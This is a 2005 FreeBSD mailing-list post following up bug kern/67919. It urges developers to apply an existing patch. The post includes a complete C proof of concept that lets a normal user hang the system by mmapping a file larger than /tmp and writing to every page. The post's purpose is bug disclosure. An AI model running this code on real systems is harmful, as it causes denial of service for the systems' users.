Re: kern/67919: Why nobody take serious to fix this bug?

From: Cai, Quanqing (caiquanqing_at_gmail.com)
Date: 10/31/05

  • Next message: Poul-Henning Kamp: "Re: TSC instead of ACPI: powerd doesn't work anymore (to be expected?)" 
    Date: Sun, 30 Oct 2005 21:28:22 -0800
To: freebsd-current@freebsd.org, bug-followup@FreeBSD.org

    Today I happened to read this message on freebsd-stable:
    http://lists.freebsd.org/pipermail/freebsd-stable/2005-October/019086.html

    After I read all messages and related links, I feel so frustrating, why
    nobody take serious to fix this bug even we have a patch for it? I can
    repeat this bug on 7.0-CURRENT and 6.0-RC1 easily as a normal user! System
    goes no response so I have to power cycle it. The patch made by Uwe Doering
    actually works well. This bug looks like a security hole to me:( If you guys
    don't like this patch, please give out a reason and come out a better patch
    or solution.

    For impatience, you can run this to crush your system(7.x, 6.x, 5.x), you
    have to increase FILELEN to a size greater than your /tmp partition:

    ===============================================
    #include <stdio.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <err.h>
    #include <sys/types.h>
    #include <sys/mman.h>

    #define FILENAME "/tmp/test" /* where to put the test file */
    #define FILELEN 710 /* test file length in MB */

    main()
    {
    int fd;
    size_t len;
    char *buf, *p, *lim;

    len = FILELEN * 1024 * 1024;

    if ((fd = open(FILENAME, O_RDWR|O_CREAT|O_TRUNC, 0666)) == -1)
    err(2, "open() failed");

    if (ftruncate(fd, len) == -1)
    err(2, "ftruncate() failed");

    buf = mmap(NULL, len, PROT_WRITE, MAP_SHARED, fd, 0);
    if (buf == MAP_FAILED)
    err(2, "mmap() failed");
    (void)close(fd);

    for (p = buf, lim = p + len; p < lim; p += 4096)
    *p = '0';

    if (munmap(buf, len) == -1)
    err(2, "munmap() failed");

    exit(0);
    }
    ===============================================================

    Cai, Quanqing
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